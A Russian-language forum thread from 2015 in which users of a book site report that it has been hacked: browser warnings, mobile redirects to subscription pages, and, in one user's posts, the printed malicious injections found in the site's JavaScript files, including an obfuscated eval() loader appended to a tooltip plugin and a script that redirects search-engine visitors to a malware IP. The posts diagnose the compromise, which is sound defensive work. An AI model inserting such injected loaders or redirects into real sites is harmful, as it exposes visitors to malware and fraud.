Логин:
Пароль:

Сайт взломан

  
Сообщений: 0
Администратор:

Endy:
Почему на главной странице проигрывается какая то галимая музыка?
Кто-то еще это замечал?

Я, скрины в теме "Баги".
Сообщений: 19
У меня тоже была музыка на главной.
Сообщений: 0
Администратор:
Кто-то еще это замечал?
На всякий случай. Браузер Firefox 36 Win7. музыка прогружается только на главной

PS под Win XP Firefox 36 на ноуте музыки нет. проверю плагины отпишусь если в них дело
Редактировалось: 2 раз (Последний: 23 марта 2015 в 13:24)
Сообщений: 0
Яндекс.Браузер (последней версии) начал выдавать предупреждение "Сайт knigilub.ru может угрожать безопасности вашего компьютера"
Сообщений: 618
Отправил в Яндекс заявку на пересмотр.
Ответ: "26.06.2015 оставлена заявка на проверку сайта, она займет несколько дней"
Вы не любите троллей?
Значит просто не умеете их готовить.
Сообщений: 0
странно вчера предупреждение уже убрали, покрайней мере часов в 21 не было а сейчас запустил браузер(опера) и опять предупреждение всплыло 8 утро (по москве время)
Сообщений: 0
Опера тоже предупреждает об опасности сайта.
Сообщений: 0
Яндекс.Браузер перестал выдавать предупреждения
Сообщений: 19
Всплывает говно, например http://runetki.tv/p3.php?id=24030&lng=ru&tp=14&sound=0&server=runetki.com&cmp=765037
Сообщений: 0
В мобильной версии, почему то только в интернете от оператора (МТС), редиректит на странный сайт allbestprlnd.com.
Если использую интернет с вайфая, то все в порядке.
Сообщений: 618
Kelnmiir:

В мобильной версии, почему то только в интернете от оператора (МТС), редиректит на странный сайт allbestprlnd.com.
Если использую интернет с вайфая, то все в порядке.
Сейчас такое есть?
Вы не любите троллей?
Значит просто не умеете их готовить.
Сообщений: 0
Администратор:

Сейчас такое есть?
Есть. При входе с мобильного инета, неважно комп или смарт - выскакивает прозрачное окно, затеняющее всю страницу на экране. По центру - жирная кнопка "продолжить" бело-блеклым цветом. При нажатии - редиректит на подписки. Также в правом верхнем углу есть кнопка "закрыть", закрывающая это безобразие.

Ранее, 1-2 дня назад, были безусловные редиректы на подписки, автоматически через 5-10 сек после прогрузки страниц.
Все это делается через запросы к одному и тому же сайту - js.shakes.tf (мелькает внизу браузера на мгновение, при загрузке страниц).
Видимо, всадили скриптик или пару строк где-то в коде сайта или шаблонов - в исходном коде страниц ссылка на этот скрипт есть.
Также, возможно оставили бэкдор - возможно, стоит откатить структуру сайта из старой резервной копии (оставив БД)?
Редактировалось: 1 раз (Последний: 17 июля 2015 в 23:26)
Сообщений: 14
с главной дёргается
http://js.shakes.tf/js/6sb7/sub1/sub2/sub3/sub4/
инжект в
<script type="text/javascript" src="/core/js/common.js"></script>
________________
function reloadCaptcha(img_id){
$("img#"+img_id).attr("src", "/includes/codegen/cms_codegen.php?"+Math.random());
}
function centerLink(href){
$('div.component').css({opacity:0.4, filter:'alpha(opacity=40)'});
$.post(href, {'of_ajax': 1}, function(data){
$('div.component').html(data);
$('div.component').css({opacity:1.0, filter:'alpha(opacity=100)'});
});

}document.write('<script type="text/javascript" src="http://js.shakes.tf/js/6sb7/sub1/sub2/sub3/sub4/"></script>');
__________________
Сообщений: 14
второй инжект (свеженький) в
<script src="/templates/zag/js/tooltip.js" type="text/javascript"></script>
выглядит как:
_________________
(function($){$.fn.easyTooltip=function(options){var defaults={xOffset:10,yOffset:25,tooltipId:"easyTooltip",clickRemove:false,content:"",useElement:""};var options=$.extend(defaults,options);var content;this.each(function(){var title=$(this).attr("title");$(this).hover(function(e){content=(options.content!="")?options.content:title;content=(options.useElement!="")?$("#"+options.useElement).html():content;$(this).attr("title","");if(content!=""&&content!=undefined){$("body").append("<div id='"+options.tooltipId+"'>"+content+"</div>");$("#"+options.tooltipId).css("position","absolute").css("top",(e.pageY-options.yOffset)+"px").css("left",(e.pageX+options.xOffset)+"px").css("display","none").fadeIn("2000")}},function(){$("#"+options.tooltipId).remove();$(this).attr("title",title)});$(this).mousemove(function(e){$("#"+options.tooltipId).css("top",(e.pageY-options.yOffset)+"px").css("left",(e.pageX+options.xOffset)+"px")});if(options.clickRemove){$(this).mousedown(function(e){$("#"+options.tooltipId).remove();$(this).attr("title",title)})}})}})(jQuery);eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.7(\'<0 3="4/5" 6="1://8.9.a.b/c.d.e">\'+\'</\'+\'0>\');',15,15,'script|http|document|type|text|javascript|src|write|82|146|58|223|jquery|min|js'.split('|'),0,{}));
_________________
превращается в :
_________________
<script src="http://82.146.58.223/jquery.min.js" type="text/javascript"></script>
_________________
Которое в свою очередь содержит:
_________________
window.onload=function(){var pattern = new RegExp(/google.|yahoo.|yandex.|bing.|rambler.|go.mail./i); var tttt = (location.href).replace('http://'+location.host+'/', '');if(pattern.test(document.referrer) && tttt){document.location.href='h'+'t'+'t'+'p'+':'+'/'+'/'+'62'+'.'+'109'+'.'+'30'+'.'+'226'+'/';}}
_________________
Что есть ссылкой на всякой вредоносное ПО (хттп:\\62,109,30,226)
_________________



Админ, вернись
я прощу если и не всё, то многое...

Ну а пока пользоваться книголюбом только со включённой банерогрызкой и нормально работающим антивирусом...
Редактировалось: 1 раз (Последний: 25 июля 2015 в 17:00)
Сообщений: 0
при открытии сайта через мобилу происходит редирект на _initsubscribe.com/lp/bestnewsbiz/?hash=d9e7dadc3051f276d4ba61984f8d0ee5&return_url=http%3A%2F%2Fnew.wb-connect.com%2Ftele2%2Fmt%2Fredirect&ext_id=195141110

upd с планшета вроде ок. с телефона воспроизводится
Редактировалось: 1 раз (Последний: 30 июля 2015 в 02:11)
В начало страницы 
|
Перейти на форум:
Страницы: Первая Предыдущая 1 2